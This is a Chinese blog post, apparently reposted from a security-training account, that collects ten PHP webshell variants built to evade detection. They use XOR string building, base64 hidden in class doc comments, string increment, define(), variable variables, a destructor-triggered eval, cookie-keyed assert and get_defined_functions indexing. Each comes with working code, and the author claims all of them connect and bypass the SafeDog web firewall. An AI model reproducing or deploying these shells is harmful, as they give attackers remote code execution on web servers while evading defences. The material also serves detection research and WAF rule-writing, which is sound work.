首页 > 系统相关 >【待做】【ByPass系列】php的webshell绕过方法总结

【待做】【ByPass系列】php的webshell绕过方法总结

时间:2024-08-22 19:38:51浏览次数:10  
标签:webshell shell ByPass REQUEST value key 绕过 php 函数

原创 掌控安全EDU

一、php的异或运算

$a="~+d()"^"!{+{}"

这个表示了$a=这两个字符串之间进行一个异或运算
运算异或运算符,按二进制位进行异或运算
这里的运算会把符号转化为ascii码,再转化为二进制,再转化为十进制进行运算,再把结果转化为ascii码
通过这个转换的方式来绕过检测

<?php

$a= ("!"^"@").'ssert';

$a($_REQUEST[x]);

?>

测试可以成功连接

二、通过获取注释去绕过

<?php

/**

* YXNzZXJ0YmZnZmc=

*/

class Example

{

    public function fn()

    {

    }

}

通过一个空的类去获取,

$reflector = new ReflectionClass('Example'); //这里为通过反射获取类的注释

$zhushi = substr(($reflector->getDocComment()), 7, 12);//然后去截断获取注释里的字符,注意getDocComment只能通过文件最开始的类来调用才会把注释内容显示

$zhushi = base64_decode($zhushi);

$zhushi = substr($zhushi, 0, 6);

echo $zhushi;

foreach (array('_POST','_GET') as $_request) {

    foreach ($$_request as $_key=>$_value) {

        $$_key=  $_value;

    }

}

/*设置一个数组,参数为_POST,_GET,然后把该数组用$_request去表示,再设置一个遍历,把$_request设为一个可变变量,再键值分离

再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容

*/

$zhushi($_value);

//最后就是assert(传入的变量值)

?>

原理就是通过把shell加密并放到注释里,利用类的反射机制获取类的注释,再解密去生成shell
测试可以成功连接

三、利用字符的运算符

<?php

    $__="assers"; 

    ++$__;

    //echo ++$__;

    $__($_REQUEST[x]);

?>

设$__ 为字符串assers,然后对这个字符串进行自增操作,这里++是直接对这个字符串里的最后一个字符进行自增操作,得到结果为assert,然后去拼接($_REQUEST[x]);,生成shell

测试可以正常连接

四、通过end函数代替[]

<?php eval(end($_REQUEST));?>

这里的end函数的作用是输出数组中当前元素和最后一个元素的值,这里由于传参就一个,所以就直接输出我们传参的值,从而可以传入参数,这里就是我们传入参数相当于shell里的传参

测试可以正常连接

五、通过常量去绕过

<?php define("a","$_GET[1]");eval(a);?>

这里的关键在于define函数,这个函数的作用是定义一个常量
我们这里设置一个常量为a,它的值是$_GET[1],然后再去eval执行常量a,实际就是eval($_GET[1]);,从而达到绕过的目的

测试可以正常连接

六、字符串拼接+双美元符

<?php

    $a='ass';  

    $b='ert';

    $funcName=$a.$b;

    $x='funcName';

$$x($_REQUEST[1]);

?>

这里通过把关键的assert进行分割,然后拼接,然后通过$$,利用可变变量去执行

测试可以正常连接

七、通过函数定义绕过

<?php

function a($a){

return $a;}

eval(a($_REQUEST)[1]);

?>

这里设置一个用户自定义函数a,当里面有参数时,返回该参数的内容,这里shell里的
a($_REQUEST)[1] 的实际效果为 a($_REQUEST),相当于是a($a),会返回$a的内容,结果为
$_REQUEST,最后一行的实际内容为eval($_REQUEST[1]);

测试可以正常连接

八、通过类定义,然后传参分割

<?php

class User

{

  public $name = '';

  function __destruct(){

    eval("$this->name");

  }

}

$user = new User;

$user->name = ''.$_REQUEST[1];

?>

通过类定义,定义一个类User,设置$name为空,然后设置一个析构函数,脚本运行结束之前会调用对象,然后eval去执行,后面用new函数将对象实例化并输出方法,
然后,$user->name这个相当于是$this->name,等于’’.$_REQUEST[1];
最后$user->name = ‘’.$_REQUEST[1]; 相当于eval($_REQUEST[1])

测试可以正常连接

九、多传参方式绕过

<?php

$COOKIE = $_COOKIE;

foreach($COOKIE as $key => $value){

        if($key=='assert'){

            $key($_REQUEST['s']);

        }

    }

?>

这里设置$cookie为获取的cookie传参,这里是个数组,然后通过foreach遍历,再进行键值分离,$key为键,$value为值,然后进行一个if判断,当$key为assert时,$key拼接($_REQUEST[‘s’]); 达到生成shell效果

测试可以正常连接


十、通过get_defined_functions绕过

<?php

$a=get_defined_functions();

$a['internal'][841]($_GET['a']);

?>

这个get_defined_functions函数作用是返回所有已定义的函数,包括内置函数和用户定义的函数,这里通过get_defined_functions得到所有函数,然后通过[‘internal’][841]去访问并调用相应函数,然后后接($_GET[‘a’]),生成shell

测试可以正常连接

用安全狗进行检测

以上方案里的均能过安全狗

关于webshell绕过其实还有许多其他的办法,后续学习到了新方法会继续在本文上做补充

微信扫一扫
关注该公众号

标签:webshell,shell,ByPass,REQUEST,value,key,绕过,php,函数
From: https://www.cnblogs.com/o-O-oO/p/18374575

相关文章

  • 【HW系列+技战法】内存马的Webshell联合对抗技战法
    原创BeatRex的成长记录一、技战法概述二、Webshell对抗手段2.1落地文件型Webshell检测与对抗2.1无文件型内存马检测与对抗2.3Webshell免杀对抗一、技战法概述Webshell是黑客经常使用的一种后门,其目的是获得服务器的执行操作权限,常见的Webshell编写语言为A......
  • 【PHP安全】demo3:最简单的php代码加密方法
    当我们说"PHP代码加密",我理解的是将PHP代码进行混淆或加密,以防止源代码被他人轻易阅读或修改。这种需求通常用于保护商业秘密或加强代码安全性。常见的工具是使用专业的编译器和加密工具。然而,请注意,完全保护代码是不可能的,因为最终服务器仍然需要能够执行解密后的代码。以......
  • 【PHP开发】php判断手机访问还是电脑访问的方法解读
    对于电脑端和移动端分离的网站,能够准确判断识别用户使用手机访问网站还是电脑访问网站十分重要,这样才能准确分配url,让访问者能够访问到最佳的网页样式。构建能够准确识别访问者使用设备类型的网站是确保用户体验的关键一步。通过使用PHP,您可以检测用户的设备类型并相应地分配U......
  • PHP反序列化一
    1.序列化/反序列化序列化:对象转化为字节流反序列化:字节流转化为对象二者相互结合,可以轻松的存储和传输数据,使程序更具维护性2.反序列化漏洞原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的......
  • 【流量特征+webshell】蚁剑篇 · 一句话木马
    一、准备一句话<?phpeval($_POST[x]);?>打开蚁剑连接webshell二、特征分析通过抓取流量包,分析流量特征一:POST方法,一句话路径图片特征二:请求包存在固定格式字段默认格式为@ini_set("display_errors","0");@set_time_limit(0,在base64数据包中它是QGluaV9zZXQ,在chr编码数......
  • ThinkPHP6定时任务同步千万级流水数据
    ThinkPHP6定时任务同步千万级流水数据多数据源配置自定义指令<?phpdeclare(strict_types=1);namespaceapp\command\SyncDtaTask;usethink\console\Command;usethink\console\Input;usethink\console\Output;usethink\Exception;usethink\facade\Db;/***......
  • 设计模式简介及PHP的35种设计模式(上)
    什么是模式??        有经验的00开发者(以及其他的软件开发者)建立了既有通用原则又有惯用方案的指令系统来指导他们编制软件。如果以结构化形式对这些问题、解决方案和命名进行描述使其系统化,那么这些原则和习惯用法就可以称为模式。例如,下面是一个模式样例:    ......
  • 【流量特征+webshell】 菜刀 · 一句话流量分析
    连接webshell准备一句话<?phpeval($_POST[caidao]);?>打开菜刀连接webshell使用wireshark查询流量特征分析特征一:POST方法,一句话路径首先,过滤http流量,可以看到有访问webshell后门的路径特征二:UA头均为百度爬虫标识User-Agent:Mozilla/5.0(compatible;Baiduspider......
  • 免授权Thinkphp彩虹易支付源码(USDT插件/当面付/通道轮询/搭建下载)
    彩虹易支付源码应运而生,旨在为企业和商户提供一款高效、安全、个性化的移动支付解决方案。本文将从代码设计者的角度,详细介绍彩虹易支付源码的开发背景、需求分析、技术架构、功能模块、示例代码以及开发流程。源码:fakaysw.top一、开发背景移动支付市场的兴......
  • 用Podman从零开始构建并运行一个Apache+PHP的容器镜像 (三)
    昨天我在之前从零开始创建的容器中实现了Apache服务的自动启动(详情记录在上一篇博文中:https://blog.csdn.net/arthurchan2021/article/details/141371026)。但是离实用性还有一段距离,所以今天继续折腾。到目前为止访问http://localhost:8080返回的页面还是Ubuntu给Apache......